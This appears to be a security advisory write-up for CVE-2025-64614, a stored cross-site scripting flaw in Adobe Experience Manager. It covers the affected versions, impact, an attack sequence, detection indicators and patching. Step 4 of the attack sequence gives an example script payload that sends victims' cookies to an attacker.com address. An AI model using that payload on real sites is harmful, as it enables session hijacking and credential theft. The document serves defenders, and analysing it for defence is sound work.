CVE-2025-64614: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64614 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises) and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, with Adobe releasing the advisory (APSB25-115) the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged authenticated attacker can inject malicious JavaScript into vulnerable form fields within AEM, which is then persistently stored and executed in the browser of any victim who visits the page containing the affected field. Exploitation requires user interaction (a victim browsing to the affected page) and operates over the network, with the scope changed to affect the victim's browser session. No public proof-of-concept code has been identified at this time (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, or further phishing attacks. The confidentiality and integrity of data accessible to the victim's session are at risk, though availability is not directly impacted. The stored nature of the XSS means any user visiting the compromised page — including administrators — could be affected, amplifying the potential blast radius (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, accessible over the network.
2. Authentication: Obtain or use a low-privileged AEM user account (e.g., a content author account).
3. Identify vulnerable form field: Navigate to an AEM page or component that contains a form field susceptible to stored XSS (e.g., a text input or rich-text editor that does not properly sanitize input).
4. Inject malicious payload: Submit a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save/publish the content.
5. Victim interaction: Wait for a victim (potentially an administrator) to browse to the page containing the injected payload.
6. Payload execution: The stored script executes in the victim's browser, enabling session token theft, credential harvesting, or unauthorized actions on behalf of the victim (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing HTML/JavaScript tags or encoded script payloads in request bodies.
• File System: Unexpected JavaScript content stored within AEM JCR repository nodes, particularly in text or rich-text properties of page components.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages; unusual cookie or session data exfiltration patterns.
• Logs: Browser-side console errors or network requests to attacker-controlled domains logged in web proxy or SIEM solutions following visits to specific AEM pages.

Adobe has released patches addressing CVE-2025-64614: AEM on-premises users should upgrade to version 6.5.24.0 or later; AEM Cloud Service users are automatically updated to the 2025.12.0 release. No specific configuration-based workaround has been published; upgrading to the patched version is the recommended remediation. Organizations should also review AEM content authoring permissions to limit who can publish content to production pages, reducing the attack surface (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products, including this CVE, could allow for arbitrary code execution and other impacts. Tenable published a Nessus plugin (ID 278346) to detect the vulnerability. No notable independent researcher commentary or significant social media discussion has been identified for this specific CVE (CIS Advisory, Tenable Plugin).